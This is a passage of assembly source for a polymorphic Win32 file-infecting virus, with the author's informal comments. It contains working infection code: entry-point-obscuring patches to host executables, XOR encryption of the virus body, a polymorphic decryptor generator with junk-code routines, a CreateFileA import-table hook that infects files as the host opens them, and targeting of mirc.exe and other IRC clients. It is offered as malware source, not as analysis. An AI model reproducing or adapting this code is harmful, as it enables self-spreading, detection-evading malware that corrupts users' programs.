add eax,EVirus - SVirus
|
||
mov edi,[ebp + FileAlignment]
|
||
xor edx,edx
|
||
div edi
|
||
inc eax
|
||
mul edi
|
||
mov [esi + 10h],eax;new sizeofrawdata
|
||
mov [esi + 8],eax;new VirtualSize
|
||
add eax,dword ptr [esi + 0ch];size + virtual address
|
||
mov ebx,[ebp + ViewHandle]
|
||
mov ecx,[ebx + 3ch];lfanew
|
||
add ebx,ecx;ebx -> PE
|
||
mov [ebx + 50h],eax;new size of image
|
||
|
||
EPOzone:
|
||
|
||
;well,we have modified executable for introducting our code.Here we can modify
|
||
;entry point for pointing to our code but i think EPO methods its more efective.
|
||
|
||
;first all i must search the entry point,but no when file is executing,i must search
|
||
;raw entry point,entry point in file.There i must copy EPOCode.
|
||
|
||
mov ecx,[ebp + Sections]
|
||
mov ebx,[ebp + FirstSection]
|
||
mov esi,[ebp + OldEntryPoint]
|
||
|
||
FindCodeSec:
|
||
|
||
mov eax,[ebx + 0ch]
|
||
add eax,[ebx + 10h];eax -> end of this section
|
||
cmp eax,esi
|
||
jg FoundCodeSec
|
||
add ebx,28h
|
||
loop FindCodeSec
|
||
|
||
FoundCodeSec:
|
||
|
||
;ebx ->header of section with entry point
|
||
|
||
sub esi,dword ptr [ebx + 0ch]
|
||
add esi,dword ptr [ebx + 14h];raw_e_point = e_point - VASection + PointerToRawDataSection
|
||
mov [ebp + OldRawEntryPoint],esi
|
||
add esi,[ebp + ViewHandle]
|
||
push esi
|
||
lea edi,[ebp + EPORestoreBytes]
|
||
mov ecx,EPOCodeSize
|
||
push ecx
|
||
rep movsb
|
||
pop ecx
|
||
pop esi
|
||
lea edi,[ebp + SEPOCode]
|
||
xchg esi,edi
|
||
rep movsb
|
||
|
||
;now we have copied bytes for EPO to entrypoint and old bytes to EPORestoreBytes for
|
||
;restoring when we return to host
|
||
|
||
;now we must copy virus code (encrypting necesary parts) to EndLastSection
|
||
|
||
mov edi,[ebp + EndLastSection]
|
||
add edi,dword ptr [ebp + ViewHandle]
|
||
push edi
|
||
lea esi,[ebp + SVirus]
|
||
mov ecx,EVirus - SVirus
|
||
rep movsb
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,GetTickCountCRC,GTCNameLen
|
||
call eax
|
||
pop edi
|
||
or eax,0FFFF0000h
|
||
cmp dword ptr [ebp + Encryption],0
|
||
jne YesEncrypt
|
||
xor eax,eax
|
||
YesEncrypt:
|
||
mov ecx,((ECode - SCode)/4)-1
|
||
inc ecx
|
||
CryptitExplorerCode:
|
||
dec ecx
|
||
xor dword ptr [edi + 4*ecx],eax
|
||
or ecx,ecx
|
||
jnz CryptitExplorerCode
|
||
add edi,Encrypted - SCode
|
||
mov eax,[ebp + CryptKey]
|
||
mov ecx,((EVirus - Encrypted)/4)-1
|
||
inc ecx
|
||
CryptitFirstCode:
|
||
dec ecx
|
||
xor dword ptr [edi + 4*ecx],eax
|
||
or ecx,ecx
|
||
jnz CryptitFirstCode
|
||
CloseAndBye:
|
||
callz CloseAll
|
||
EndInfection:
|
||
popad
|
||
ret
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
FileHandle dd 0
|
||
MappingHandle dd 0
|
||
ViewHandle dd 0
|
||
FileInfectedSize dd 0
|
||
FileAlignment dd 0
|
||
Sections dd 0
|
||
FirstSection dd 0
|
||
EndLastSection dd 0
|
||
OldRawEntryPoint dd 0
|
||
Encryption dd 0
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
SEPOCode:
|
||
|
||
db 0E9h ;rel jmp to our code
|
||
EPOrel32 dd 0
|
||
EEPOCode:
|
||
EPOCodeSize equ EEPOCode - SEPOCode
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
MapFile: ;it maps the file in WIN32_FIND_DATA
|
||
ChangeAttributesOfFile:
|
||
lea edi,[ebp + WFD_szFileName]
|
||
push 80h
|
||
push edi
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,SetFileAttributesACRC,SFANameLen
|
||
call eax
|
||
push 0
|
||
push 0
|
||
push 3
|
||
push 0
|
||
push 1
|
||
push 0C0000000h ;read and write access to file
|
||
lea eax,[ebp + WFD_szFileName]
|
||
push eax
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,CreateFileACRC,CFNameLen
|
||
call eax
|
||
inc eax
|
||
or eax,eax
|
||
jnz np1
|
||
ret
|
||
np1:
|
||
dec eax
|
||
mov [ebp + FileHandle],eax
|
||
push 0
|
||
mov eax,[ebp + WFD_nFileSizeLow]
|
||
push eax
|
||
push 0
|
||
push 4
|
||
push 0
|
||
push dword ptr [ebp + FileHandle]
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,CreateFileMappingACRC,CFMNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz CloseFile
|
||
mov [ebp + MappingHandle],eax
|
||
push dword ptr [ebp + WFD_nFileSizeLow]
|
||
push 0
|
||
push 0
|
||
push 000F001Fh
|
||
push eax
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,MapViewOfFileCRC,MVFNameLen
|
||
call eax
|
||
or eax,eax
|
||
jz CloseMapping
|
||
mov [ebp + ViewHandle],eax
|
||
ret
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
CloseAll:;close file opened with MapFile
|
||
push eax
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
|
||
push dword ptr [ebp + ViewHandle]
|
||
call eax
|
||
pop eax
|
||
|
||
CloseMapping:
|
||
push eax
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
push dword ptr [ebp + MappingHandle]
|
||
call eax
|
||
pop eax
|
||
|
||
CloseFile:
|
||
|
||
RestoreAttributes:
|
||
|
||
push eax
|
||
lea eax,dword ptr [ebp + WFD_ftLastWriteTime]
|
||
push eax
|
||
lea eax,dword ptr [ebp + WFD_ftLastAccessTime]
|
||
push eax
|
||
lea eax,dword ptr [ebp + WFD_ftCreationTime]
|
||
push eax
|
||
push dword ptr [ebp + FileHandle]
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,SetFileTimeCRC,SFTNameLen
|
||
call eax
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,CloseHandleCRC,CHNameLen
|
||
push dword ptr [ebp + FileHandle]
|
||
call eax
|
||
pop eax
|
||
|
||
ret
|
||
;;;;;;;;;;;;;;;;;;;;;
|
||
;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;Poly creates a decryptor rutine overwriting code since MyEntryPoint to Encrypted
|
||
;
|
||
;in:
|
||
; none
|
||
;out:
|
||
; none
|
||
;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
Poly:
|
||
|
||
pushad
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,GetTickCountCRC,GTCNameLen
|
||
call eax
|
||
mov [ebp + CryptKey],eax
|
||
lea edi,[ebp + MyEntryPoint]
|
||
mov ecx,eax
|
||
and ecx,0000003Fh
|
||
push eax;random
|
||
and eax,00000007h
|
||
cmp al,4
|
||
jne noesp1
|
||
inc eax
|
||
noesp1:
|
||
mov [ebp + esireg],eax
|
||
pop eax;random
|
||
push eax
|
||
ror eax,4
|
||
and eax,00000007h
|
||
cmp al,4
|
||
jne noesp2
|
||
inc eax
|
||
noesp2:
|
||
cmp eax,dword ptr [ebp + esireg]
|
||
jne nosame
|
||
inc eax
|
||
cmp al,4
|
||
jne nosame
|
||
inc eax
|
||
nosame:
|
||
and al,7
|
||
mov [ebp + ecxreg],eax
|
||
mov byte ptr [edi],0E8h
|
||
inc edi
|
||
mov dword ptr [edi],0h
|
||
add edi,4
|
||
callz trash
|
||
callz zpop
|
||
pop ecx;random
|
||
push ecx
|
||
and ecx,00003F00h
|
||
ror ecx,8
|
||
callz trash
|
||
callz zadd
|
||
pop ecx;random
|
||
rol ecx,cl
|
||
and ecx,00000007h
|
||
push ecx
|
||
callz trash
|
||
callz zmov
|
||
|
||
pop ecx;random2
|
||
push edi;jnz must jump here
|
||
push ecx
|
||
callz trash
|
||
callz zxor
|
||
pop ecx
|
||
push ecx
|
||
callz trash
|
||
callz zdec
|
||
pop ecx
|
||
push ecx
|
||
callz trash
|
||
pop ecx
|
||
callz trash
|
||
callz zor
|
||
mov word ptr [edi],850Fh ;jne rel32
|
||
inc edi
|
||
inc edi
|
||
pop ecx; where jnz must jump
|
||
sub ecx,edi
|
||
sub ecx,4
|
||
mov dword ptr [edi],ecx
|
||
add edi,4
|
||
lea ecx,[ebp + Encrypted]
|
||
sub ecx,edi
|
||
callz trash
|
||
popad
|
||
ret
|
||
|
||
esireg dd 0
|
||
ecxreg dd 0
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;Trash generates unuseful instructions for decryptor
|
||
;in:
|
||
; edi -> memory where function must write the trash code
|
||
; ecx -> bytes to write
|
||
;out:
|
||
; edi = initial edi + ecx
|
||
;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
trash:
|
||
or ecx,ecx
|
||
jz NoTrash
|
||
pushad
|
||
callz randomize
|
||
popad
|
||
mov al,byte ptr [ebp + random1]
|
||
and eax,0Fh
|
||
;;;;;;;;;;;;
|
||
Trash0:
|
||
or eax,eax
|
||
jnz Trash1
|
||
cmp ecx,4
|
||
jge ok0
|
||
callz trash
|
||
ret
|
||
ok0:
|
||
;xor esireg,ecxreg ;33h -> ins code + 11xxxyyyb -> registers
|
||
;more trash
|
||
;xor esireg,ecxreg ;undo changes
|
||
sub ecx,4
|
||
mov eax,[ebp + esireg]
|
||
mov ebx,[ebp + ecxreg]
|
||
mov dl,0C0h
|
||
rol al,3
|
||
or dl,al
|
||
or dl,bl
|
||
mov al,33h
|
||
stosb
|
||
mov al,dl
|
||
stosb
|
||
push edx
|
||
callz trash
|
||
pop edx
|
||
mov al,33h
|
||
stosb
|
||
mov al,dl
|
||
stosb
|
||
ret
|
||
;;;;;;;;;;;;
|
||
Trash1:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash2
|
||
cmp ecx,6
|
||
jge ok1
|
||
callz trash
|
||
ret
|
||
ok1:
|
||
;push esireg
|
||
;push ecxreg
|
||
;push xx
|
||
;more trash
|
||
;pop xx
|
||
;pop ecxreg
|
||
;pop esireg
|
||
sub ecx,6
|
||
mov eax,[ebp + esireg]
|
||
mov ebx,[ebp + ecxreg]
|
||
mov dl,[ebp + random2]
|
||
and dl,7
|
||
add al,50h
|
||
add bl,50h
|
||
add dl,50h
|
||
push eax
|
||
push ebx
|
||
push edx
|
||
stosb
|
||
mov al,bl
|
||
stosb
|
||
mov al,dl
|
||
stosb
|
||
callz trash
|
||
pop eax
|
||
add eax,8
|
||
stosb
|
||
pop eax
|
||
add eax,8
|
||
stosb
|
||
pop eax
|
||
add eax,8
|
||
stosb
|
||
ret
|
||
;;;;;;;;;;;;
|
||
Trash2:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash3
|
||
|
||
mov al,90h;nop
|
||
stosb
|
||
dec ecx
|
||
callz trash
|
||
|
||
ret
|
||
;;;;;;;;;;;;
|
||
Trash3:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash4
|
||
|
||
mov al,0F9h;stc
|
||
stosb
|
||
dec ecx
|
||
callz trash
|
||
|
||
ret
|
||
;;;;;;;;;;;;
|
||
Trash4:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash5
|
||
|
||
mov al,0F8h;clc
|
||
stosb
|
||
dec ecx
|
||
callz trash
|
||
|
||
ret
|
||
;;;;;;;;;;;;
|
||
Trash5:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash6
|
||
|
||
mov al,0F5h;cmc
|
||
stosb
|
||
dec ecx
|
||
callz trash
|
||
|
||
ret
|
||
;;;;;;;;;;;;
|
||
Trash6:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash7
|
||
cmp ecx,2
|
||
jge ok6
|
||
callz trash
|
||
ret
|
||
ok6:
|
||
mov eax,[ebp + esireg]
|
||
add al,40h
|
||
stosb
|
||
dec ecx
|
||
dec ecx
|
||
callz trash
|
||
mov eax,[ebp + esireg]
|
||
add al,48h
|
||
stosb
|
||
ret
|
||
|
||
;;;;;;;;;;;;
|
||
Trash7:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash8
|
||
|
||
mov al,90h;0FAh;cli ;damn damn damn in NT cli is privileged :'(
|
||
stosb
|
||
dec ecx
|
||
callz trash
|
||
ret
|
||
|
||
;;;;;;;;;;;;
|
||
Trash8:
|
||
dec eax
|
||
or eax,eax
|
||
jnz Trash9
|
||
|
||
|
||
cmp ecx,6
|
||
jge ok8
|
||
callz trash
|
||
ret
|
||
ok8:
|
||
sub ecx,6
|
||
mov al,0C1h
|
||
stosb
|
||
mov al,0C0h
|
||
mov ebx,[ebp + ecxreg]
|
||
or al,bl
|
||
stosb
|
||
mov al,byte ptr[ebp + random2]
|
||
stosb
|
||
push eax
|
||
callz trash
|
||
mov al,0C1h
|
||
stosb
|
||
mov al,0C8h
|
||
mov ebx,[ebp + ecxreg]
|
||
or al,bl
|
||
stosb
|
||
pop eax
|
||
stosb
|
||
ret
|
||
|
||
;;;;;;;;;;;;
|
||
;;;;;;;;;;;;
|
||
Trash9:
|
||
dec eax
|
||
or eax,eax
|
||
jnz TrashA
|
||
cmp [ebp + esireg],0
|
||
je nook9
|
||
cmp [ebp + ecxreg],0
|
||
je nook9
|
||
mov al,0d6h; SALC
|
||
stosb
|
||
dec ecx
|
||
nook9:
|
||
callz trash
|
||
ret
|
||
|
||
;;;;;;;;;;;;
|
||
;;;;;;;;;;;;
|
||
TrashA:
|
||
dec eax
|
||
or eax,eax
|
||
jnz TrashB
|
||
cmp ecx,2
|
||
jge okA
|
||
callz trash
|
||
ret
|
||
okA:
|
||
xor eax,eax
|
||
mov al,[ebp + random3]
|
||
cmp eax,[ebp + esireg];no ecxreg
|
||
je nookA
|
||
cmp eax,[ebp + ecxreg];no esireg
|
||
je nookA
|
||
cmp al,4;no esp
|
||
je nookA
|
||
or al,al;no eax becoz opcode is different becoz some instruct. are optimizated for eax.
|
||
jz nookA
|
||
mov bl,[ebp + random2]
|
||
and ebx,7
|
||
push eax
|
||
mov al,byte ptr[ebp + ebx + opcodesA]
|
||
stosb
|
||
pop eax
|
||
mov bl,[ebp + random1]
|
||
rol bl,cl
|
||
and bl,7
|
||
rol al,3
|
||
or al,0C0h
|
||
or al,bl
|
||
stosb
|
||
dec ecx
|
||
dec ecx
|
||
callz trash
|
||
ret
|
||
nookA:
|
||
callz trash
|
||
ret
|
||
opcodesA:
|
||
db 2bh;sub
|
||
db 1bh;sbb
|
||
db 13h;adc
|
||
db 03h;add
|
||
db 23h;and
|
||
db 3bh;cmp
|
||
db 8bh;mov
|
||
db 0bh;or
|
||
db 85h;test
|
||
|
||
;;;;;;;;;;;;
|
||
;;;;;;;;;;;;
|
||
TrashB:
|
||
;nothing,only call trash again
|
||
callz trash
|
||
|
||
NoTrash:
|
||
ret
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
randomize:;a pseudorandom number generator...its a few bad :P i could have searched something
|
||
;about random generators but i was tired in that moment ;P so i coded this short
|
||
;and not very efficient function...however i like it :-m
|
||
mov ecx,0001FFFFh
|
||
WaitAFew:
|
||
nop
|
||
loop WaitAFew
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,GetTickCountCRC,GTCNameLen
|
||
call eax
|
||
mov byte ptr [ebp + random1],al
|
||
mov ecx,[ebp + CryptKey]
|
||
rol eax,cl
|
||
mov byte ptr [ebp + random2],al
|
||
mov ecx,[ebp + CryptKey]
|
||
rol eax,cl
|
||
and eax,7
|
||
mov byte ptr [ebp + random3],al
|
||
|
||
ret
|
||
random1 db 0
|
||
random2 db 0
|
||
random3 db 0
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;all this functions receive as parameter edi pointing to code where we must write polimorphed
|
||
;code and return edi pointing to next byte where we have writed
|
||
;for now,for useful instructions of decryptor,only is changed the used registers,intruction
|
||
;is not changed by other.
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;zpop poly
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
zpop:
|
||
mov eax,[ebp + esireg]
|
||
add al,58h
|
||
stosb
|
||
ret
|
||
A1:
|
||
A2:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;zadd poly
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
zadd:
|
||
mov eax,[ebp + esireg]
|
||
or eax,eax
|
||
jnz noeaxreg
|
||
lea esi,[ebp + B2]
|
||
mov ecx,B3 - B2
|
||
rep movsb
|
||
ret
|
||
noeaxreg:
|
||
lea esi,[ebp + B1]
|
||
mov bl,byte ptr [ebp + B1 + 1]
|
||
and bl,0F8h
|
||
or bl,al
|
||
mov byte ptr [ebp + B1 + 1],bl
|
||
mov ecx,B2 - B1
|
||
rep movsb
|
||
ret
|
||
B1:
|
||
add esi,Encrypted - DkRyPtIt
|
||
B2:
|
||
add eax,Encrypted - DkRyPtIt
|
||
B3:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;zmov poly
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
zmov:
|
||
mov eax,[ebp + ecxreg]
|
||
lea esi,[ebp + C1]
|
||
add byte ptr [esi],al
|
||
mov ecx,C2 - C1
|
||
rep movsb
|
||
mov byte ptr [ebp + C1],0B8h
|
||
ret
|
||
C1:
|
||
mov eax,((EVirus - Encrypted)/4)
|
||
C2:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;zxor poly
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
zxor:
|
||
lea esi,[ebp + D2 - 4]
|
||
mov ecx,[ebp + CryptKey]
|
||
mov [esi],ecx
|
||
mov cl,byte ptr [esi - 2]
|
||
mov eax,[ebp + ecxreg]
|
||
mov ebx,[ebp + esireg]
|
||
rol eax,3
|
||
or al,bl
|
||
and cl,0C0h
|
||
or al,cl
|
||
mov byte ptr [esi - 2],al
|
||
lea esi,[ebp + D1]
|
||
mov ecx,D2 - D1
|
||
rep movsb
|
||
ret
|
||
D1:
|
||
xor dword ptr [eax + edx*4 - 4],12345678h
|
||
;81h 74h (important byte) FCh KEY
|
||
;we must change registers in the important byte
|
||
D2:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;zdec poly
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
zdec:
|
||
mov eax,[ebp + ecxreg]
|
||
add al,48h
|
||
stosb
|
||
ret
|
||
E1:
|
||
E2:
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;zor poly
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
zor:
|
||
mov ecx,[ebp + ecxreg]
|
||
mov eax,ecx
|
||
rol eax,3
|
||
or al,cl
|
||
or al,0C0h
|
||
mov byte ptr [ebp + F1 + 1],al
|
||
lea esi,[ebp + F1]
|
||
mov ecx,F2 - F1
|
||
rep movsb
|
||
ret
|
||
F1:
|
||
or ecx,ecx
|
||
F2:
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;HookCreateFileA hooks CreateFileA api for current host and when host call CreateFileA
|
||
;then hook-code take control and infect the file than is passed to CreateFileA as parameter.
|
||
;
|
||
;
|
||
;in:
|
||
; eax = kernel
|
||
;out:
|
||
; none
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
HookCreateFileA:
|
||
pushad
|
||
mov dword ptr [ebp + kernel],eax
|
||
GezApi eax,GetModuleHandleACRC,GMHNameLen
|
||
push 0
|
||
call eax
|
||
;eax = this module
|
||
mov edx,[eax + 3ch]
|
||
add edx,eax
|
||
mov edx,[edx + 80h];IAT
|
||
add edx,eax
|
||
mov ebx,eax
|
||
;edx -> IAT
|
||
;ebx -> MZ
|
||
sub edx,14h
|
||
SearchInIAT:
|
||
add edx,14h
|
||
mov esi,[edx + 0ch];name of dll
|
||
or esi,esi
|
||
jz endHook;if last and no found then we go out...however its very unprobable program doesnt
|
||
;import no functions from kernel
|
||
add esi,ebx
|
||
mov ecx,8
|
||
lea edi,[ebp + kernelBuf]
|
||
rep movsb
|
||
mov ecx,8
|
||
toLower:
|
||
dec edi
|
||
or byte ptr [edi],20h ;becoz i have CRC of 'kernel32' string and ill search with CRC
|
||
loop toLower
|
||
mov esi,edi
|
||
mov edi,8
|
||
push edx
|
||
push ebx
|
||
call CRC32
|
||
pop ebx
|
||
pop edx
|
||
cmp eax,Kernel32CRC
|
||
jne SearchInIAT
|
||
;edx = kernel entry in IAT
|
||
push edx
|
||
mov edx,[edx]
|
||
add edx,ebx
|
||
;edx = array of names of kernel32
|
||
push edx
|
||
sub edx,4
|
||
SearchCreateFileA:
|
||
add edx,4
|
||
mov esi,[edx];name of api
|
||
or esi,esi
|
||
jz endHookWithPop ;if last and no found CreateFileA we go out
|
||
add esi,ebx
|
||
inc esi
|
||
inc esi
|
||
CalcLenString
|
||
;esi -> name
|
||
;ecx = len
|
||
mov edi,ecx
|
||
push edx
|
||
push ebx
|
||
call CRC32 ;i search CreateFile by CRC too
|
||
pop ebx
|
||
pop edx
|
||
cmp eax,CreateFileACRC
|
||
jne SearchCreateFileA
|
||
pop ecx;start of array
|
||
sub edx,ecx
|
||
pop eax
|
||
mov eax,[eax + 10h]
|
||
add eax,edx
|
||
add eax,ebx
|
||
;dword ptr [eax] = dir of CreateFileA
|
||
;we must overwrite this dir with our hook rutine ;)
|
||
;i think that unprotect mem its not necessary becoz loader must write that dir
|
||
;however ill unprotect it
|
||
push eax
|
||
mov esi,eax
|
||
mov eax,[ebp + kernel]
|
||
mov ecx,4
|
||
xor ebx,ebx
|
||
callz UnprotectMem
|
||
pop eax
|
||
lea esi,[ebp + HookRutine]
|
||
mov dword ptr [eax],esi ;i put over CreateFileA dir my hook rutine dir ;)
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,CreateFileACRC,CFNameLen
|
||
mov [ebp + CreateFileADir],eax ;ill need in hook rutine
|
||
mov eax,[ebp + kernel]
|
||
GezApi eax,FindFirstFileACRC,FFFNameLen
|
||
mov [ebp + FindFirstFileADir],eax ;ill need it in hook rutine and i wanna be fast so ill
|
||
;calc it here and i keep it
|
||
jmpz endHook
|
||
endHookWithPop:
|
||
pop eax
|
||
endHook:
|
||
popad
|
||
ret
|
||
|
||
kernelBuf db 8 dup (?)
|
||
|
||
HookRutine:
|
||
push eax
|
||
pushad
|
||
pushfd
|
||
callz HookdOff
|
||
HookdOff:
|
||
pop ebp
|
||
sub ebp,offset HookdOff
|
||
mov eax,[ebp + CreateFileADir]
|
||
mov [esp + 24h],eax ;for next ret jumps CreateFileA
|
||
mov eax,[esp + 2Ch];file
|
||
lea ebx,[ebp + WIN32_FIND_DATA]
|
||
push ebx
|
||
push eax
|
||
call dword ptr [ebp + FindFirstFileADir]
|
||
xor eax,eax
|
||
inc eax
|
||
;callz InfectIt
|
||
|
||
popfd
|
||
popad
|
||
ret;i have push eax but later i have change [esp + 24h] to CreateFileA dir so
|
||
;with a ret program will jmp to CreateFileA ;)
|
||
|
||
CreateFileADir dd 0
|
||
FindFirstFileADir dd 0
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
;
|
||
;TestFile will test WIN32_FIND_DATA to see if current file found is mirc.exe or other
|
||
;typical irc programs and later infect them with per-process characteristic.
|
||
;In addition it tests if file is explorer.exe for not infection.
|
||
;
|
||
;in:none
|
||
;
|
||
;out: eax = 1 infect with per-process / eax = 0 not necesary perprocess / eax = -1 no infect
|
||
;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
TestFile:
|
||
|
||
;When i began to code perprocess part i though to search recursively some programs
|
||
;in hard disk(mirc.exe,messenger and others) for infecting it with perprocess,but finally
|
||
;i decide if i found some of that programs,then i infect them with perprocess but i
|
||
;dont search them.I think if i infect some specific programs with perprocess for
|
||
;increasing infection capability im not coding a worm,however if i search programs for
|
||
;modifing them for virus was sent by irc or mail or other,then im coding a worm.This is
|
||
;only a mania,i dont want my virus was a worm :P,only that.
|
||
|
||
mircCRC equ 7c55758dh ; CRC of 'mirc.exe'
|
||
explorerCRC equ 0be037055h ; CRC of 'explorer.exe'
|
||
|
||
|
||
|
||
lea esi,[ebp + WFD_szFileName]
|
||
CalcLenString
|
||
push ecx
|
||
add ecx,esi
|
||
push esi
|
||
dec esi
|
||
ToLowerFileName:
|
||
inc esi
|
||
cmp esi,ecx
|
||
je EndToLower
|
||
cmp byte ptr [esi],'A'
|
||
jb ToLowerFileName
|
||
cmp byte ptr [esi],'Z'
|
||
jg ToLowerFileName
|
||
or byte ptr [esi],20h
|
||
jmp ToLowerFileName
|
||
EndToLower:
|
||
pop esi
|
||
pop edi
|
||
